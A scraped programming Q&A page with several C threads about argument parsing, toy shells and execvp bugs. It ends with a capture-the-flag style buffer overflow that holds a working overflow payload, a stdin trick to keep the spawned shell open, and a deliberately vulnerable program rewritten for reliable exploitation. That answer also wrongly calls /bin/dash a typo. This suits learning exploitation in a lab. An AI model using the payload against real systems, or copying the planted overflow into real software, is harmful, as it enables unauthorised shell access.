The user is supposed to pass some arguments when running the program, which have to have the following structure:
hanoiplus -d -f -o
They can write them in different order and they don't even have to write all of them. For example:
hanoiplus -f hello -d 3
But it will only work if there is the word hanoiplus at the beggining.
This is my code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define HPLUS "hanoiplus"
#define DCMD "-d"
#define FCMD "-f"
#define OCMD "-o"
int main(int narg, char**cmd) {
if(strstr(HPLUS,cmd[1])){
for(int i=2; i <= narg; i++){
if(strstr(DCMD,cmd[i]) && i<narg){ /*EXECUTE -d COMMAND IF SPECIFIED*/
i++; //Increase i by 1 to go to the next command
printf("INPUT: %s %s",cmd[i-1],cmd[i]); //Change the number of disks to cmd[i]
}else if(strstr(FCMD,cmd[i]) && i<narg){ /*EXECUTE -f COMMAND IF SPECIFIED*/
i++;
printf("INPUT: %s %s",cmd[i-1],cmd[i]);
create_file(cmd[i]);//Call the function that creates an external file
}else if(strstr(OCMD,cmd[i]) && i<narg){ /*EXECUTE -o COMMAND IF SPECIFIED*/
i++;
printf("INPUT: %s %s",cmd[i-1],cmd[i]);
create_object(cmd[i]);//Call the function that calls the writing operation
}
}
return 1; //The command(s) is/are valid.
}else{
return 0; //The command is not valid.
}
}
All the commands are saved as elements of char **cmd.
First of all, the program checks if the second command is "hanoiplus" -since the first command is always a path that I'm not interested in- and then it executes a for loop that iterates over **cmd as many times as elements **cmd has.
In each iteration, the program checks what command has been entered and it calls the function that carries out what the command represents.
The program also prints the input, so I can check if the arguments are being passed correctly.
Though the first iteration of the loop goes well, the second time the program crashes and it shows a segmentation fault.
Does anyone have any idea of what it is happening?
Thank you.
these expressions cause your program to access an no-existing argument cmd[narg].
if(strstr(DCMD,cmd[i]) && i<narg)
So, strstr might crash because of it. you need to swap the terms in the expression to avoid the issue:
if(i < narg && strstr(DCMD,cmd[i]))
or use i < narg in the loop.
Related
I had this simple shell like program that works both in interactive and non-interactive mode. I have simplified the code as much as I can to present my question, but it is still a bit long, so sorry for that!
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
/**
*main-entry point for gbk
*Return: returns the index of 0 on sucess
*/
int main(void)
{
char *cmd = malloc(1 * sizeof(char)), *cmdargs[2];
size_t cmdlen = 0;
int childid, len;
struct stat cmdinfo;
while (1)
{
printf("#cisfun$ ");
len = getline(&cmd, &cmdlen, stdin);
if (len == -1)
{
free(cmd);
exit(-1);
}
/*replace the ending new line with \0*/
cmd[len - 1] = '\0';
cmdargs[0] = cmd;
cmdargs[1] = NULL;
childid = fork();
if (childid == 0)
{
if (stat(*cmdargs, &cmdinfo) == 0 && cmdinfo.st_mode & S_IXUSR)
execve(cmdargs[0], cmdargs, NULL);
else
printf("%s: command not found\n", *cmdargs);
exit(0);
}
else
wait(NULL);
}
free(cmd);
exit(EXIT_SUCCESS);
}
To summarize what this program does, it will first print the prompt #cisfun$ , waits for an input in interactive mode and takes the piped value in non-interactive mode, creates a child process, the child process checks if the string passed is a valid executable binary, and if it is, it executes it other wise it prints a command not found message and prompts again.
I have got this program to work fine for most of the scenarios in interactive mode, but when I run it in non-interactive mode all sorts of crazy (unexpected) things start to happen.
For example, when I run echo "/bin/ls"|./a.out, (a.out is the name of the compiled program)
you would first expect the #cisfun$ message to be printed since that is the first thing performed in the while loop, and then the output of the /bin/ls command, and finally #cisfun$ prompt, but that isn't what actually happens. Here is what happens,
It is very weird the ls command is run even before the first print message. I, at first, thought there was some threading going on and the printf was slower than the child process executing the ls command. But I am not sure if that is true as I am a noob. and also things get a bit crazier if I was printing a message with '\n' at the end rather than just a string. (if I change printf("#cisfun$ "); to printf("#cisfun$\n");) the following happens,
It works as it should, so it got me thinking what is the relation between '\n', fork and speed of printf. Just in short what is the explanation for this.
The second question I have is, why doesn't my program execute the first command and go to an interactive mode, I don't understand why it terminates after printing the second #cisfun$ message. By checking the status code (255) after exit I have realized that the effect is the same as pressing ctr+D in the interactive mode, which I believe is exited by the getline function. But I dont understand why EOF is being inserted in the second prompt.
My program is supposed to exit when the user types in exit similar to how its done in a shell. First I checked online to see if syscall could be called in a loop, but then I noticed the indices of the characters in the array are wrong. Why are these changing; when I ran the program and typed in exit I had my program shoot out the 3rd index for testing purposes and it returned 'e'. So I thought it might've been flipped and flipped all values and my exit still did not work. Any thoughts on what the underlying issue may be?
#include <stdio.h>
//Abstract: This program runs a script to emulate shell behavior
#define MAX_BIN_SIZE 100
int main() { //Memory allocation
char * entry[MAX_BIN_SIZE];
while(1)
{
printf("msh>");
fgets(entry,MAX_BIN_SIZE,stdin); //Getting user input
if(entry[0]=='t' && entry[1]=='i' && entry[2]=='x' && entry[3]=='e')
{
//printf("Exiting");
exit(0); //exit(system call)
break;
printf("Inside of exit");
}
printf("msh> you typed %s %c %c %c %c",entry,entry[3],entry[2],entry[1],entry[0]); //returning user input
}
return 0;
}
I am sorry I don't have enough reputation points to add a comment, but #lundman is correct. I don't think you need to create a pointer to entry. Also, you are checking for "exit" in the reverse order. I tried and edited the code; this seems to work:
#include <stdio.h>
//Abstract: This program runs a script to emulate shell behavior
#define MAX_BIN_SIZE 100
int main()
{ //Memory allocation
char entry[MAX_BIN_SIZE];
while(1)
{
printf("msh>");
fgets(entry,MAX_BIN_SIZE,stdin); //Getting user input
if(entry[0]=='e' && entry[1]=='x' && entry[2]=='i' && entry[3]=='t')
{
printf("Inside of exit");//printf("Exiting");
exit(0); //exit(system call)
}
printf("msh> you typed %s %c %c %c %c\n",entry,entry[3],entry[2],entry[1],entry[0]); //returning user input
}
return 0;
}
For some reason, execvp() doesn't find the commands (like ls, pwd, etc.) in my PATH file, which includes /bin. Since I have a customized terminal alias with ls, I'm using pwd, etc. to test (as well as a fresh Linux machine), but I keep getting this for the output:
gcc main.c
./a.out
What would you like to do?
ls
arg[0]: ls
arg[1]: (null)
arg[2]: (null)
arg[3]: (null)
arg[4]: (null)
arg[5]: (null)
arg[6]: (null)
arg[7]: (null)
arg[8]: (null)
arg[9]: (null)
before exec
after exec
ERROR: No such file or directory
Here is the code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
/*
Write a c program that runs a command line program with exactly one command line argument. It should work as follows:
Prompts the user for a program to run via the command line.
Reads in that line (using fgets) and parses it to be used by one of the exec functions.
Runs the command using exec
You do not need to fork off a separate process and wait, the purpose of this assignment is only to parse a single line of input and run a program once.
*/
int main() {
printf("\nWhat would you like to do?\n");
char* input = malloc( 100 ); //100 character string for input
fgets(input, 100, stdin); //reads from stdin (terminal input "file")
//parses command in input (max of 8 flags)
int number_of_args = 10;
char *args[number_of_args];
//puts cmd && flags in args
int i = 0;
for(; i < number_of_args; i++) {
args[i] = strsep( &input, " ");
printf("arg[%i]: %s\n", i, args[i]);
}
args[number_of_args - 1] = 0; //last element for execvp must be NULL;
// printf("nullify final index -> args[%i] = %s\n", number_of_args - 1, args[number_of_args -1]);
printf("before exec\n");
int e = execvp( args[0], args);
printf("after exec\n");
if(e < 0)
printf("ERROR: %s\n", strerror(errno));
return 0;
}
EDIT: Thought it'd be good to include my PATH as well:
echo $PATH
/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
fgets() reads in the newline character if there's space available in the buffer. So when you input ls, it's actually ls\n. Obivously, execvp() can't find such a command and it fails. So the solution is to remove the trailing newline, if any.
char *p = strchr(input, '\n');
if (p) *p = 0;
You should also use argc for argument processing (if you read in the commands and arguments via main()'s argument) rather than assuming some fixed numbers. Or simply break the loop when strsep() returns NULL the first time. Technically, your code invokes undefined behaviour when you print all those null strings.
I want to get my program to use the command line arguments with getchar to then encode a message. My problem is that getchar is only paying attention to what I type after the program has executed. How can I make it read the command line arguments instead?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int pin, charin, charout;
// this verifies that a key was given at for the first argument
if (atoi(argv[1]) == 0){
printf("ERROR, no key was found..");
return 0;
}
else {
srand(atoi(argv[1]));
pin = rand() % 27;
}
while( (charin=getchar()) != EOF){
charout = charin + pin;
putchar(charout);
}
}
getchar to read from command line arguments
That's the problem - if you are getting command line arguments you don't do it with getchar: use argc to get the count of arguments and argv[] to get particular arguments.
I don't think you need getchar in this program at all.
These are also good suggestions, please take a look at the parts about argument handling:
encode program using getchar from command line argument and putchar to send to decode
I think you are trying to write a program that behaves like this:
program pin message
and then it will use some sort of Caesar cipher on message to obfuscate the output. Is that right?
If so, then you need to also get argv[2] and use printf to output the results.
Here is the source code of the application to be exploited.
ch13.c:
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
return 0;
}
After running in the shell:
python -c 'print "A"*40 + "\xef\xbe\xad\xde"'|./ch13
It displays buffer content and "Yeah dude! you win!" but no new shell. GDB show that a new process is started but I am unable to interact with it. Is there are way of interacting with the spawned shell so that it doesnt terminate quickly?
Assuming /bin/dash is a typo, and you meant /bin/bash...
You're piping input into the ch13 program. When it calls system(), the shell inherits stdin and stdout from the calling program, which means it's taking input from the same pipe. However, by the time the shell starts executing, the pipe has already been emptied of all its input, and so the shell reads EOF and immediately terminates. What you really want is to pass in that buffer overflow into stdin, and then keep putting stuff into stdin afterwards. So, something like this should work:
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde" > magic_input
cat magic_input - | ./ch13
You may not see a bash prompt, but you should be able to type commands, hit enter, and get output.
EDIT: For future inquisitive visitors who may want to try this at home, you might want to use this updated version of the C program in the question. My version of GCC was putting the variables on the stack in a different order. Putting variables in a struct prevents GCC from reordering the variables however it pleases, so the buffer overrun should go right into the check variable as expected.
#include <stdlib.h>
#include <stdio.h>
/*
gcc -o ch13 ch13.c -fno-stack-protector
*/
int main()
{
struct {
char buf[40];
int check;
} locals = {.check = 0x04030201};
fgets(locals.buf,45,stdin);
printf("\n[buf]: %s\n", locals.buf);
printf("[check] %p\n", locals.check);
if ((locals.check != 0x04030201) && (locals.check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
if (locals.check == 0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/bash");
}
return 0;
}